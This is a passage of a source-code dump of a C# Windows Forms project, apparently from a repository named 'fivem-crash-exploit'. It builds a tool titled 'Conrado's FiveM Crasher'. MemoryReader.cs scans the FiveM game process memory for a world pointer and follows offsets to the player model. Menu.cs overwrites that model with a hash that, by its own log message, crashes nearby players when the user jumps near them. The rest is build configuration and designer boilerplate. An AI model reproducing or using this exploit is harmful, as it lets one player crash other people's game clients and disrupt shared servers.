264 | Message.cs 265 | 266 | 267 | Menu.cs 268 | 269 | 270 | ResXFileCodeGenerator 271 | Resources.Designer.cs 272 | Designer 273 | 274 | 275 | True 276 | Resources.resx 277 | True 278 | 279 | 280 | 281 | 282 | SettingsSingleFileGenerator 283 | Settings.Designer.cs 284 | 285 | 286 | True 287 | Settings.settings 288 | True 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | False 304 | Microsoft .NET Framework 4.8 %28x86 e x64%29 305 | true 306 | 307 | 308 | False 309 | .NET Framework 3.5 SP1 310 | false 311 | 312 | 313 | 314 | 315 | 316 | 317 | Este projeto faz referência a pacotes do NuGet que não estão presentes neste computador. Use a Restauração de Pacotes do NuGet para baixá-los. Para obter mais informações, consulte http://go.microsoft.com/fwlink/?LinkID=322105. O arquivo ausente é {0}. 318 | 319 | 320 | 321 | 322 | -------------------------------------------------------------------------------- /FiveM/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /FiveM/FodyWeavers.xsd: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 13 | 14 | 15 | 16 | 17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 18 | 19 | 20 | 21 | 22 | A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 23 | 24 | 25 | 26 | 27 | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 28 | 29 | 30 | 31 | 32 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 33 | 34 | 35 | 36 | 37 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 38 | 39 | 40 | 41 | 42 | The order of preloaded assemblies, delimited with line breaks. 43 | 44 | 45 | 46 | 47 | 48 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 49 | 50 | 51 | 52 | 53 | Controls if .pdbs for reference assemblies are also embedded. 54 | 55 | 56 | 57 | 58 | Controls if runtime assemblies are also embedded. 59 | 60 | 61 | 62 | 63 | Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. 64 | 65 | 66 | 67 | 68 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 69 | 70 | 71 | 72 | 73 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 74 | 75 | 76 | 77 | 78 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 79 | 80 | 81 | 82 | 83 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 84 | 85 | 86 | 87 | 88 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 89 | 90 | 91 | 92 | 93 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 94 | 95 | 96 | 97 | 98 | A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 99 | 100 | 101 | 102 | 103 | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. 104 | 105 | 106 | 107 | 108 | A list of unmanaged 32 bit assembly names to include, delimited with |. 109 | 110 | 111 | 112 | 113 | A list of unmanaged 64 bit assembly names to include, delimited with |. 114 | 115 | 116 | 117 | 118 | The order of preloaded assemblies, delimited with |. 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. 127 | 128 | 129 | 130 | 131 | A comma-separated list of error codes that can be safely ignored in assembly verification. 132 | 133 | 134 | 135 | 136 | 'false' to turn off automatic generation of the XML Schema file. 137 | 138 | 139 | 140 | 141 | -------------------------------------------------------------------------------- /FiveM/Game/Addresses.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using FiveM.Utils; 3 | 4 | namespace FiveM.Game { 5 | class Addresses { 6 | public static IntPtr WorldPtr; 7 | public static IntPtr LocalPlayer; 8 | public static IntPtr PlayerModel; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /FiveM/Game/MemoryReader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Process.NET; 3 | using Process.NET.Memory; 4 | using Process.NET.Patterns; 5 | using FiveM.Utils; 6 | using System.Windows.Forms; 7 | using System.Threading.Tasks; 8 | 9 | namespace FiveM.Game { 10 | class MemoryReader { 11 | 12 | //patterns 13 | internal static readonly IMemoryPattern WorldPTR = 14 | new DwordPattern("48 8B 05 ?? ?? ?? ?? 45 ?? ?? ?? ?? 48 8B 48 08 48 85 C9 74 07"); 15 | 16 | internal static ProcessSharp process; 17 | internal static ExternalProcessMemory mem; 18 | 19 | public static Task GetWorldPtr() { 20 | process = new ProcessSharp(Utilities.BaseProc(), MemoryType.Remote); 21 | mem = new ExternalProcessMemory(process.Handle); 22 | 23 | //WorldPtr 24 | IntPtr addr = Find(process.ModuleFactory.MainModule.Name, MemoryReader.WorldPTR, process).ReadAddress; 25 | addr = addr + mem.Read(addr + 3) + 7; 26 | IntPtr WorldPtr = mem.Read(addr); 27 | Addresses.WorldPtr = WorldPtr; 28 | 29 | return Task.CompletedTask; 30 | } 31 | 32 | public static long GetPlayerModel() { 33 | bool b2189 = Utilities.BaseProc().ProcessName.Contains("b2189"); 34 | 35 | //LocalPlayer 36 | IntPtr LocalPlayer = mem.Read(Addresses.WorldPtr + 0x8); 37 | Addresses.LocalPlayer = LocalPlayer; 38 | 39 | //PlayerModel 40 | IntPtr v1 = mem.Read(Addresses.LocalPlayer + 0x50); 41 | IntPtr v2 = b2189 ? mem.Read(v1 + 0x20) : mem.Read(v1 + 0x40); 42 | IntPtr v3 = b2189 ? mem.Read(v2 + 0x0) : mem.Read(v2 + 0x8); 43 | IntPtr v4 = mem.Read(v3 + 0x20); 44 | IntPtr PlayerModel = v4 + 0x18; 45 | Addresses.PlayerModel = PlayerModel; 46 | return mem.Read(Addresses.PlayerModel); 47 | } 48 | 49 | internal static PatternScanResult Find(string moduleName, IMemoryPattern pattern, ProcessSharp prcss) { 50 | var scanner = new PatternScanner(prcss[moduleName]); 51 | return scanner.Find(pattern); 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /FiveM/Menu.Designer.cs: -------------------------------------------------------------------------------- 1 |  2 | namespace FiveM { 3 | partial class Menu { 4 | /// 5 | /// Variável de designer necessária. 6 | /// 7 | private System.ComponentModel.IContainer components = null; 8 | 9 | /// 10 | /// Limpar os recursos que estão sendo usados. 11 | /// 12 | /// true se for necessário descartar os recursos gerenciados; caso contrário, false. 13 | protected override void Dispose(bool disposing) { 14 | if(disposing && (components != null)) { 15 | components.Dispose(); 16 | } 17 | base.Dispose(disposing); 18 | } 19 | 20 | #region Código gerado pelo Windows Form Designer 21 | 22 | /// 23 | /// Método necessário para suporte ao Designer - não modifique 24 | /// o conteúdo deste método com o editor de código. 25 | /// 26 | private void InitializeComponent() { 27 | this.components = new System.ComponentModel.Container(); 28 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Menu)); 29 | this.helpBtn = new MaterialSkin.Controls.MaterialButton(); 30 | this.pictureBox1 = new System.Windows.Forms.PictureBox(); 31 | this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel(); 32 | this.topMost = new MaterialSkin.Controls.MaterialCheckbox(); 33 | this.mutateBtn = new MaterialSkin.Controls.MaterialButton(); 34 | this.On = new System.Windows.Forms.Timer(this.components); 35 | this.statusLabel = new System.Windows.Forms.RichTextBox(); 36 | this.materialButton1 = new MaterialSkin.Controls.MaterialButton(); 37 | this.materialLabel2 = new MaterialSkin.Controls.MaterialLabel(); 38 | this.currModel = new MaterialSkin.Controls.MaterialLabel(); 39 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); 40 | this.SuspendLayout(); 41 | // 42 | // helpBtn 43 | // 44 | this.helpBtn.AutoSize = false; 45 | this.helpBtn.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; 46 | this.helpBtn.Cursor = System.Windows.Forms.Cursors.Hand; 47 | this.helpBtn.Depth = 0; 48 | this.helpBtn.DrawShadows = true; 49 | this.helpBtn.HighEmphasis = true; 50 | this.helpBtn.Icon = null; 51 | this.helpBtn.Location = new System.Drawing.Point(322, 73); 52 | this.helpBtn.Margin = new System.Windows.Forms.Padding(4, 6, 4, 6); 53 | this.helpBtn.MouseState = MaterialSkin.MouseState.HOVER; 54 | this.helpBtn.Name = "helpBtn"; 55 | this.helpBtn.Size = new System.Drawing.Size(91, 25); 56 | this.helpBtn.TabIndex = 2; 57 | this.helpBtn.Text = "?"; 58 | this.helpBtn.Type = MaterialSkin.Controls.MaterialButton.MaterialButtonType.Contained; 59 | this.helpBtn.UseAccentColor = false; 60 | this.helpBtn.UseVisualStyleBackColor = true; 61 | this.helpBtn.Click += new System.EventHandler(this.helpBtn_Click); 62 | // 63 | // pictureBox1 64 | // 65 | this.pictureBox1.Image = global::FiveM.Properties.Resources.Loading; 66 | this.pictureBox1.Location = new System.Drawing.Point(20, 88); 67 | this.pictureBox1.Name = "pictureBox1"; 68 | this.pictureBox1.Size = new System.Drawing.Size(80, 76); 69 | this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; 70 | this.pictureBox1.TabIndex = 0; 71 | this.pictureBox1.TabStop = false; 72 | // 73 | // materialLabel1 74 | // 75 | this.materialLabel1.AutoSize = true; 76 | this.materialLabel1.Depth = 0; 77 | this.materialLabel1.Font = new System.Drawing.Font("Roboto Medium", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Pixel); 78 | this.materialLabel1.FontType = MaterialSkin.MaterialSkinManager.fontType.Subtitle2; 79 | this.materialLabel1.Location = new System.Drawing.Point(9, 145); 80 | this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER; 81 | this.materialLabel1.Name = "materialLabel1"; 82 | this.materialLabel1.Size = new System.Drawing.Size(43, 17); 83 | this.materialLabel1.TabIndex = 3; 84 | this.materialLabel1.Text = "Log =>"; 85 | // 86 | // topMost 87 | // 88 | this.topMost.AutoSize = true; 89 | this.topMost.Depth = 0; 90 | this.topMost.Location = new System.Drawing.Point(314, 98); 91 | this.topMost.Margin = new System.Windows.Forms.Padding(0); 92 | this.topMost.MouseLocation = new System.Drawing.Point(-1, -1); 93 | this.topMost.MouseState = MaterialSkin.MouseState.HOVER; 94 | this.topMost.Name = "topMost"; 95 | this.topMost.Ripple = true; 96 | this.topMost.Size = new System.Drawing.Size(99, 37); 97 | this.topMost.TabIndex = 4; 98 | this.topMost.Text = "TopMost"; 99 | this.topMost.UseVisualStyleBackColor = true; 100 | this.topMost.CheckedChanged += new System.EventHandler(this.topMost_CheckedChanged); 101 | // 102 | // mutateBtn 103 | // 104 | this.mutateBtn.AutoSize = false; 105 | this.mutateBtn.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; 106 | this.mutateBtn.Cursor = System.Windows.Forms.Cursors.Hand; 107 | this.mutateBtn.Depth = 0; 108 | this.mutateBtn.DialogResult = System.Windows.Forms.DialogResult.No; 109 | this.mutateBtn.DrawShadows = true; 110 | this.mutateBtn.Enabled = false; 111 | this.mutateBtn.HighEmphasis = true; 112 | this.mutateBtn.Icon = null; 113 | this.mutateBtn.Location = new System.Drawing.Point(122, 73); 114 | this.mutateBtn.Margin = new System.Windows.Forms.Padding(4, 6, 4, 6); 115 | this.mutateBtn.MouseState = MaterialSkin.MouseState.HOVER; 116 | this.mutateBtn.Name = "mutateBtn"; 117 | this.mutateBtn.Size = new System.Drawing.Size(179, 84); 118 | this.mutateBtn.TabIndex = 5; 119 | this.mutateBtn.Text = "CRASH (INSERT)"; 120 | this.mutateBtn.Type = MaterialSkin.Controls.MaterialButton.MaterialButtonType.Outlined; 121 | this.mutateBtn.UseAccentColor = false; 122 | this.mutateBtn.UseVisualStyleBackColor = true; 123 | this.mutateBtn.Click += new System.EventHandler(this.mutateBtn_Click); 124 | // 125 | // On 126 | // 127 | this.On.Enabled = true; 128 | this.On.Interval = 50; 129 | this.On.Tick += new System.EventHandler(this.On_Tick); 130 | // 131 | // statusLabel 132 | // 133 | this.statusLabel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; 134 | this.statusLabel.Enabled = false; 135 | this.statusLabel.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 136 | this.statusLabel.Location = new System.Drawing.Point(10, 165); 137 | this.statusLabel.Name = "statusLabel"; 138 | this.statusLabel.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.None; 139 | this.statusLabel.Size = new System.Drawing.Size(403, 77); 140 | this.statusLabel.TabIndex = 6; 141 | this.statusLabel.TabStop = false; 142 | this.statusLabel.Text = ""; 143 | this.statusLabel.WordWrap = false; 144 | this.statusLabel.TextChanged += new System.EventHandler(this.statusLabel_TextChanged); 145 | // 146 | // materialButton1 147 | // 148 | this.materialButton1.AutoSize = false; 149 | this.materialButton1.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; 150 | this.materialButton1.Cursor = System.Windows.Forms.Cursors.Hand; 151 | this.materialButton1.Depth = 0; 152 | this.materialButton1.DrawShadows = true; 153 | this.materialButton1.HighEmphasis = true; 154 | this.materialButton1.Icon = null; 155 | this.materialButton1.Location = new System.Drawing.Point(322, 134); 156 | this.materialButton1.Margin = new System.Windows.Forms.Padding(4, 6, 4, 6); 157 | this.materialButton1.MouseState = MaterialSkin.MouseState.HOVER; 158 | this.materialButton1.Name = "materialButton1"; 159 | this.materialButton1.Size = new System.Drawing.Size(91, 25); 160 | this.materialButton1.TabIndex = 7; 161 | this.materialButton1.Text = "CLEAR LOG"; 162 | this.materialButton1.Type = MaterialSkin.Controls.MaterialButton.MaterialButtonType.Contained; 163 | this.materialButton1.UseAccentColor = false; 164 | this.materialButton1.UseVisualStyleBackColor = true; 165 | this.materialButton1.Click += new System.EventHandler(this.materialButton1_Click); 166 | // 167 | // materialLabel2 168 | // 169 | this.materialLabel2.AutoSize = true; 170 | this.materialLabel2.Depth = 0; 171 | this.materialLabel2.Font = new System.Drawing.Font("Roboto Medium", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Pixel); 172 | this.materialLabel2.FontType = MaterialSkin.MaterialSkinManager.fontType.Subtitle2; 173 | this.materialLabel2.Location = new System.Drawing.Point(12, 73); 174 | this.materialLabel2.MouseState = MaterialSkin.MouseState.HOVER; 175 | this.materialLabel2.Name = "materialLabel2"; 176 | this.materialLabel2.Size = new System.Drawing.Size(96, 17); 177 | this.materialLabel2.TabIndex = 8; 178 | this.materialLabel2.Text = "Current Model:"; 179 | // 180 | // currModel 181 | // 182 | this.currModel.Depth = 0; 183 | this.currModel.Font = new System.Drawing.Font("Roboto Medium", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Pixel); 184 | this.currModel.FontType = MaterialSkin.MaterialSkinManager.fontType.Subtitle2; 185 | this.currModel.Location = new System.Drawing.Point(11, 90); 186 | this.currModel.MouseState = MaterialSkin.MouseState.HOVER; 187 | this.currModel.Name = "currModel"; 188 | this.currModel.Size = new System.Drawing.Size(96, 17); 189 | this.currModel.TabIndex = 9; 190 | this.currModel.Text = "None"; 191 | this.currModel.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; 192 | // 193 | // Menu 194 | // 195 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 196 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 197 | this.ClientSize = new System.Drawing.Size(424, 251); 198 | this.Controls.Add(this.currModel); 199 | this.Controls.Add(this.materialLabel2); 200 | this.Controls.Add(this.materialButton1); 201 | this.Controls.Add(this.statusLabel); 202 | this.Controls.Add(this.mutateBtn); 203 | this.Controls.Add(this.materialLabel1); 204 | this.Controls.Add(this.helpBtn); 205 | this.Controls.Add(this.pictureBox1); 206 | this.Controls.Add(this.topMost); 207 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 208 | this.MaximizeBox = false; 209 | this.Name = "Menu"; 210 | this.Opacity = 0.9D; 211 | this.Sizable = false; 212 | this.Text = "Conrado\'s FiveM Crasher"; 213 | this.Load += new System.EventHandler(this.Form1_Load); 214 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); 215 | this.ResumeLayout(false); 216 | this.PerformLayout(); 217 | 218 | } 219 | 220 | #endregion 221 | 222 | private System.Windows.Forms.PictureBox pictureBox1; 223 | private MaterialSkin.Controls.MaterialButton helpBtn; 224 | private MaterialSkin.Controls.MaterialLabel materialLabel1; 225 | private MaterialSkin.Controls.MaterialCheckbox topMost; 226 | private MaterialSkin.Controls.MaterialButton mutateBtn; 227 | private System.Windows.Forms.Timer On; 228 | private System.Windows.Forms.RichTextBox statusLabel; 229 | private MaterialSkin.Controls.MaterialButton materialButton1; 230 | private MaterialSkin.Controls.MaterialLabel materialLabel2; 231 | private MaterialSkin.Controls.MaterialLabel currModel; 232 | } 233 | } 234 | 235 | -------------------------------------------------------------------------------- /FiveM/Menu.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using MaterialSkin; 3 | using MaterialSkin.Controls; 4 | using System.Threading.Tasks; 5 | using System.Drawing; 6 | using System.Windows.Forms; 7 | using FiveM.Game; 8 | using FiveM.Devices; 9 | using FiveM.Utils; 10 | 11 | namespace FiveM { 12 | public partial class Menu : MaterialForm { 13 | 14 | bool _ModelChanged; 15 | bool _HOOKED; 16 | 17 | long ACRatModel = 3283429734; 18 | long CurrentModel = 2627665880; 19 | 20 | Communication.Message msg = new Communication.Message(); 21 | 22 | public Menu() { 23 | var materialSkinManager = MaterialSkinManager.Instance; 24 | materialSkinManager.AddFormToManage(this); 25 | materialSkinManager.Theme = MaterialSkinManager.Themes.LIGHT; 26 | materialSkinManager.ColorScheme = new ColorScheme(Primary.Purple600, Primary.Purple800, Primary.Purple500, Accent.Purple700, TextShade.WHITE); 27 | InitializeComponent(); 28 | } 29 | 30 | private void Form1_Load(object sender, EventArgs e) { 31 | AppendLog("Looking for FiveM Process...", Color.BlueViolet); 32 | } 33 | 34 | private void AppendLog(string str, Color color) { 35 | if(statusLabel.Text != "") { 36 | statusLabel.AppendText("\n"); 37 | } 38 | 39 | statusLabel.SelectionStart = statusLabel.TextLength; 40 | statusLabel.SelectionLength = 0; 41 | statusLabel.SelectionFont = new Font("Roboto", 11, FontStyle.Bold); 42 | statusLabel.SelectionColor = color; 43 | statusLabel.AppendText($" [{DateTime.Now.ToString("HH:mm:ss")}]: {str}"); 44 | statusLabel.SelectionColor = statusLabel.ForeColor; 45 | } 46 | 47 | private void helpBtn_Click(object sender, EventArgs e) { 48 | msg.ShowDialog(); 49 | } 50 | 51 | private async void AntiFlood() { 52 | mutateBtn.Enabled = false; 53 | await Task.Delay(1000); 54 | mutateBtn.Enabled = true; 55 | } 56 | 57 | private void topMost_CheckedChanged(object sender, EventArgs e) { 58 | if(!topMost.Checked) { 59 | this.TopMost = false; 60 | return; 61 | } 62 | this.TopMost = true; 63 | } 64 | 65 | private void ChangeModel() { 66 | 67 | if(Addresses.PlayerModel == IntPtr.Zero) { 68 | AppendLog("An error ocurred. Maybe you aren't in-game.", Color.IndianRed); 69 | return; 70 | } 71 | 72 | if(Enum.IsDefined(typeof(Enums.Characters), MemoryReader.GetPlayerModel())) { 73 | AppendLog("Please wait til your model loads.", Color.IndianRed); 74 | return; 75 | } 76 | 77 | _ModelChanged = !_ModelChanged; 78 | try { 79 | if(_ModelChanged) { 80 | MemoryReader.mem.Write(Addresses.PlayerModel, ACRatModel); 81 | AppendLog("Now you'll crash players if you jump near them.", Color.Orange); 82 | 83 | } else { 84 | MemoryReader.mem.Write(Addresses.PlayerModel, CurrentModel); 85 | AppendLog("Crasher disabled. Back to player model.", Color.CadetBlue); 86 | } 87 | } catch(Exception) { AppendLog("Sorry, an error ocurred.", Color.IndianRed); } 88 | } 89 | 90 | private void mutateBtn_Click(object sender, EventArgs e) { 91 | AntiFlood(); 92 | ChangeModel(); 93 | } 94 | 95 | //50ms 96 | private async void On_Tick(object sender, EventArgs e) { 97 | System.Diagnostics.Process p = Utilities.BaseProc(); 98 | 99 | if(mutateBtn.Enabled && Keyboard.IsKeyDown(Keys.Insert) && p != null) { 100 | AntiFlood(); 101 | ChangeModel(); 102 | } 103 | 104 | if(p != null && !_HOOKED) { 105 | _HOOKED = !_HOOKED; 106 | Addresses.WorldPtr = IntPtr.Zero; 107 | Addresses.LocalPlayer = IntPtr.Zero; 108 | Addresses.PlayerModel = IntPtr.Zero; 109 | 110 | int _processid = p.Id; 111 | AppendLog($"FiveM Found! PID: {_processid}", Color.Green); 112 | 113 | //game instanced? 114 | while(Addresses.WorldPtr == IntPtr.Zero) { 115 | try { 116 | await Task.Run(MemoryReader.GetWorldPtr); 117 | AppendLog($"WorldPTR => 0x{Utilities.ToHex(Addresses.WorldPtr)}", Color.Olive); 118 | mutateBtn.Enabled = true; 119 | } catch(Exception) { } 120 | await Task.Delay(5000); 121 | } 122 | } 123 | 124 | if(p == null && _HOOKED) { 125 | _HOOKED = !_HOOKED; 126 | mutateBtn.Enabled = false; 127 | 128 | AppendLog("Looking for FiveM Process...", Color.BlueViolet); 129 | } 130 | 131 | if(_HOOKED) { 132 | try { 133 | currModel.Text = MemoryReader.GetPlayerModel().ToString(); 134 | } catch(Exception) { currModel.Text = "None"; } 135 | 136 | } 137 | } 138 | 139 | private void statusLabel_TextChanged(object sender, EventArgs e) { 140 | statusLabel.SelectionStart = statusLabel.Text.Length; 141 | statusLabel.ScrollToCaret(); 142 | } 143 | 144 | private void materialButton1_Click(object sender, EventArgs e) { 145 | statusLabel.Clear(); 146 | } 147 | 148 | } 149 | } 150 | -------------------------------------------------------------------------------- /FiveM/Modules/NativeImport.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace FiveM.Modules { 5 | class NativeImport { 6 | 7 | [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)] 8 | public static extern short GetKeyState(int keyCode); 9 | 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /FiveM/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading.Tasks; 3 | using System.Windows.Forms; 4 | 5 | namespace FiveM { 6 | static class Program { 7 | /// 8 | /// Ponto de entrada principal para o aplicativo. 9 | /// 10 | [STAThread] 11 | static void Main() { 12 | Task.Run(() => { 13 | Application.Run(new Menu()); 14 | }).GetAwaiter().GetResult(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /FiveM/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // As informações gerais sobre um assembly são controladas por 6 | // conjunto de atributos. Altere estes valores de atributo para modificar as informações 7 | // associadas a um assembly. 8 | [assembly: AssemblyTitle("FiveM")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("FiveM")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Definir ComVisible como false torna os tipos neste assembly invisíveis 18 | // para componentes COM. Caso precise acessar um tipo neste assembly de 19 | // COM, defina o atributo ComVisible como true nesse tipo. 20 | [assembly: ComVisible(false)] 21 | 22 | // O GUID a seguir será destinado à ID de typelib se este projeto for exposto para COM 23 | [assembly: Guid("687eb8b6-85c0-4a5c-8706-b68af2c66674")] 24 | 25 | // As informações da versão de um assembly consistem nos quatro valores a seguir: 26 | // 27 | // Versão Principal 28 | // Versão Secundária 29 | // Número da Versão 30 | // Revisão 31 | // 32 | // É possível especificar todos os valores ou usar como padrão os Números de Build e da Revisão 33 | // usando o "*" como mostrado abaixo: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /FiveM/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // O código foi gerado por uma ferramenta. 4 | // Versão de Tempo de Execução:4.0.30319.42000 5 | // 6 | // As alterações ao arquivo poderão causar comportamento incorreto e serão perdidas se 7 | // o código for gerado novamente. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace FiveM.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// Uma classe de recurso de tipo de alta segurança, para pesquisar cadeias de caracteres localizadas etc. 17 | /// 18 | // Essa classe foi gerada automaticamente pela classe StronglyTypedResourceBuilder 19 | // através de uma ferramenta como ResGen ou Visual Studio. 20 | // Para adicionar ou remover um associado, edite o arquivo .ResX e execute ResGen novamente 21 | // com a opção /str, ou recrie o projeto do VS. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Retorna a instância de ResourceManager armazenada em cache usada por essa classe. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("FiveM.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Substitui a propriedade CurrentUICulture do thread atual para todas as 51 | /// pesquisas de recursos que usam essa classe de recurso de tipo de alta segurança. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Consulta um recurso localizado do tipo System.Drawing.Bitmap. 65 | /// 66 | internal static System.Drawing.Bitmap Loading { 67 | get { 68 | object obj = ResourceManager.GetObject("Loading", resourceCulture); 69 | return ((System.Drawing.Bitmap)(obj)); 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /FiveM/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\Loading.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 123 | 124 | -------------------------------------------------------------------------------- /FiveM/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace FiveM.Properties { 13 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 14 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 15 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 16 | 17 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 18 | 19 | public static Settings Default { 20 | get { 21 | return defaultInstance; 22 | } 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /FiveM/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /FiveM/Resources/Loading.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ConradoDev/fivem-crash-exploit-1/bf5941a97c27d3496de962f2036f5f75bb09ec4e/FiveM/Resources/Loading.gif -------------------------------------------------------------------------------- /FiveM/ScyllaIccon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ConradoDev/fivem-crash-exploit-1/bf5941a97c27d3496de962f2036f5f75bb09ec4e/FiveM/ScyllaIccon.ico 